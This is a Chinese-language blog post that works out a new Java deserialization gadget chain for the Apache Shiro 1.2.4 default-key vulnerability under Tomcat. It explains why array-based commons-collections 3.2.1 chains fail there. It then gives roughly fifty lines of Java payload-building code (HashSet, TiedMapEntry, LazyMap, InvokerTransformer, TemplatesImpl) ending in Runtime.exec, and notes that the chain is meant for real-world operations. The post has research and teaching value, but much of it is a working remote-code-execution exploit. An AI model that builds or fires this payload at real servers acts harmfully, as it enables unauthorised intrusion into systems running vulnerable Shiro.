【notes】Java反序列化利用链挖掘之Shiro反序列化

  1. 1. 0x00 前言
  2. 2. 0x01 环境准备
  3. 3. 0x02 前景回顾
  4. 4. 0x03 新利用链构造
    1. 4.0.1. 1.配合ChainedTransformer
    2. 4.0.2. 2.无意义的String
      1. 4.0.2.1. 20200108补充
    3. 4.0.3. 20200109补充
  • 5. 0x04 EXP编写
  • 6. 0x05 总结
  • 0x00 前言

    在跟了一遍commons-collections系列的payload后,终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。

    当前,不管是国内实际的xx行动还是ctf比赛,shiro反序列化会经常看到。但在实际利用这个漏洞的时候,会发现我们无法在tomcat下直接利用shiro原生的commons-collections:3.2.1(原因后面说)。

    我们前面已经对commons-collections系列利用链的分析,今天就来根据学到的知识来解决这个问题。

    本文讨论了shiro-1.2.4版本无法直接利用现有的ysoserial利用链,并提出了相应的解决方案。

    0x01 环境准备

    这里用的是shiro-root-1.2.4的samples/web环境,clone下来后执行git checkout shiro-root-1.2.4

    利用脚本参考的知道创宇的一篇分析

    ysoserial用的0.0.6版本https://github.com/frohoff/ysoserial

    先来讲一下,关于环境方面遇到的坑:

    1. 在部署过程中,遇到了The absolute uri: http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application的错误

      这里的解决方案是修改pom.xml

    image-20191108153248897

    ​ 添加jstl的具体版本即可解决。

    1. serialVersionUID不一致导致无法反序列化的问题

      这里可能在你的实验环境下不一定会遇到,我的实验环境和ysoserial生成的某几个类的serialVersionUID不一致,导致无法正常反序列化。在实战中你可以采用这篇文章处理方法,这里我的解决方案是直接同步个commons-collections:3.2.1版本,在生成war包前,在pom.xml加入

      1
      2
      3
      4
      5
      6
      <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
      <scope>runtime</scope>
      </dependency>

    0x02 前景回顾

    16年的时候,shiro爆出了一个默认key的反序列化漏洞。至今已有大量的分析文章分析了该漏洞的原理,所以本文不再重复分析该漏洞的相关原理,可以参考以下几篇文章的分析:

    除了1中在漏洞环境下添加了commons-collections:4.0,另外两篇文章均提到了在tomcat下无法直接利用commons-collections:3.2.1的问题。接下来我们就来看看是什么原因吧:)

    org.apache.shiro.io.DefaultSerializer.deserialize:67

    image-20191109160945448

    这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream.这里可能是开发人员做的一种防护措施?他重写了ObjectInputStream类的resolveClass函数,我曾在第一篇基础文章中分析过Java反序列化的过程,ObjectInputStreamresolveClass函数用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass函数

    image-20191109162524242

    采用的是ClassUtils.forName,我们继续看这个forName的实现。

    image-20191109163048059

    来看看这个ExceptionIgnoringAccessor是怎么实现的

    image-20191109164548583

    这里实际上调用了ParallelWebAppClassLoader父类WebappClassLoaderBaseloadClass函数(可以直接下断点看看内容)。image-20191110110209579

    该loadClass载入按照上述的顺序(这里不贴代码了,找到org.apache.catalina.loader.WebappClassLoaderBase.loadClass即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类URLClassLoaderloadClass函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即/Lorg/apache/commons/collections/Transformer;.class,在参考的第二篇文章里有提到这个问题,所以导致shiro无法载入数组类型的对象。

    那么如何才能真正的利用commons-collections:3.2.1来构造利用链呢?

    首先,在参考的第一篇文章里,作者在环境中引入了commons-collections:4.0,使得ysoserial的CommonsCollections2利用链可以成功利用。这是因为CommonsCollections2用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令。

    那么,问题来了,我们是否能构造出一个在commons-collections:3.2.1下可以利用,并且在利用链上不存在数组类型的对象?答案当然是肯定的:)

    0x03 新利用链构造

    根据0x02的介绍,我们可以清楚的是利用链中的ChainedTransformer这个类的利用是无法成功的,因为他的类属性iTransformers是数组类型的Transformers,也就是在执行过程中发生的ClassNotFoundException

    如果你看过前几篇关于commons-collections系列的payload分析,那么你肯定可以回忆起来,除了利用ChainedTransformer这种方式,还可以使用TemplatesImpl.newTransformer函数来动态loadClass构造好的evil class bytes(这一部分不复述了,可以看前面的文章)。并且在这部分利用链上是不存在数组类型的对象的。

    那么,接下来的重点就是找一个如何触发TemplatesImpl.newTransformer的方法了:)

    我们先来回顾一下CommonsCollections2的利用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
    -> TransformingComparator.compare()
    -> InvokerTransformer.transform()
    -> TemplatesImpl.newTransformer()
    ... templates Gadgets ...
    -> Runtime.getRuntime().exec()

    在这条链上,由于TransformingComparator在3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的。

    那么就来改造改造吧!我们先将注意力关注在InvokerTransformer.transform()

    image-20191110141818530

    这里是最经典的反射机制的写法,根据传入的input对象,调用其iMethodName(可控)。那么如果此时传入的input为构造好的TemplatesImpl对象呢?

    很明显,这样我们就可以通过将iMethodName置为newTransformer,从而完成后续的templates gadgets。

    那么问题来了,怎么将传入的input置为TemplatesImpl对象呢?

    在ysoserial的利用链中,关于transform函数接收的input存在两种情况。

    1.配合ChainedTransformer

    InvokerTransformer往往同ChainedTransformer配合,循环构造Runtimt.getRuntime().exec。很明显,这里我们无法利用了。

    2.无意义的String

    这里的无意义的String指的是传入到ConstantTransformer.transform函数的input,该transform函数不依赖input,而直接返回iConstant

    这里第一条路肯定断了,那么就是怎么利用这个无意义的String了!

    CommonsCollection5开始,出现了TiedMapEntry,其作为中继,调用了LazyMap(map)的get函数。

    来看一看

    image-20191110143619051

    其中mapkey我们都可以控制,而LazyMap.get调用了transform函数,并将可控的key传入transform函数

    image-20191110143737549

    这里就接上了我们前面讨论的,将构造好的TemplatesImpl(key)作为InvokerTransformer.transform函数的input传入,我们就可以将templates gadgets串起来了。

    简单来说,我们将CommonsCollections5,6,9构造链中的TiedMapEntry的key用了起来。

    1
    2
    3
    final Object templates = Gadgets.createTemplatesImpl(command);
    // TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
    TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

    这里将无意义的foo改造成了触发TemplatesImpl.newTransformer的trigger。

    而在TiedMapEntry前的利用链,在原生shiro环境下,并不冲突(没有数组类型的对象),可以正常反序列化。这一部分就省略了。

    20200108补充

    其实createTemplatesImpl的利用方式中还是存在数组形式的,byte[]数组用于存储evil class。但是在tomcat 7及以上的环境下,java的原生数据类型的数组还原不影响反序列化,只针对对象级别的数组还原。而tomcat6的实现方式直接不允许数组类型的还原,也就是说该利用链在tomcat6的环境下是成功不了的。

    20200109补充

    当应用开启了security manager时,需要设置-Djdk.xml.enableTemplatesImplDeserialization=true

    image-20200109193558744

    0x04 EXP编写

    这里其实可以构造出好几个链,我这里就拿HashSet为例,完整的exp见MyYsoserial中的CommonsCollections10

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl
    // 构造InvokerTransformer,填充无害的toString函数
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    final Map innerMap = new HashMap();
    // 构造LazyMap的factory为前面的InvokerTransformer
    final Map lazyMap = LazyMap.decorate(innerMap, transformer);
    // 填充TiedMapEntry的map(lazyMap)和key(TemplatesImpl)
    TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

    HashSet map = new HashSet(1);
    map.add("foo");
    // 下述代码将entry填充到HashSet的node的key上,可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数
    Field f = null;
    try {
    f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
    f = HashSet.class.getDeclaredField("backingMap");
    }
    Reflections.setAccessible(f);
    HashMap innimpl = null;
    innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
    f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
    f2 = HashMap.class.getDeclaredField("elementData");
    }
    Reflections.setAccessible(f2);
    Object[] array = new Object[0];
    array = (Object[]) f2.get(innimpl);
    Object node = array[0];
    if(node == null){
    node = array[1];
    }

    Field keyField = null;
    try{
    keyField = node.getClass().getDeclaredField("key");
    }catch(Exception e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    Reflections.setAccessible(keyField);
    keyField.set(node, entry);
    // 将最终的触发函数newTransformer装载到InvokerTransformer上
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    return map;

    这里不对源码进行讲解了,都写在了注释里。

    这里整理一下这条链的调用过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    java.util.HashSet.readObject()
    -> java.util.HashMap.put()
    -> java.util.HashMap.hash()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
    -> org.apache.commons.collections.map.LazyMap.get()
    -> org.apache.commons.collections.functors.InvokerTransformer.transform()
    -> java.lang.reflect.Method.invoke()
    ... templates gadgets ...
    -> java.lang.Runtime.exec()

    0x05 总结

    在经过对CommonsCollections系列的利用链进行分析后,在shiro这个问题上,进行了实战,解决了tomcat下无法利用shiro原生的commons-collections:3.2.1这个问题。

    最后,在最近的shiro-721利用上,这个利用链希望可以帮助到大家

    image-20191110151222301

    Happy Hacking XD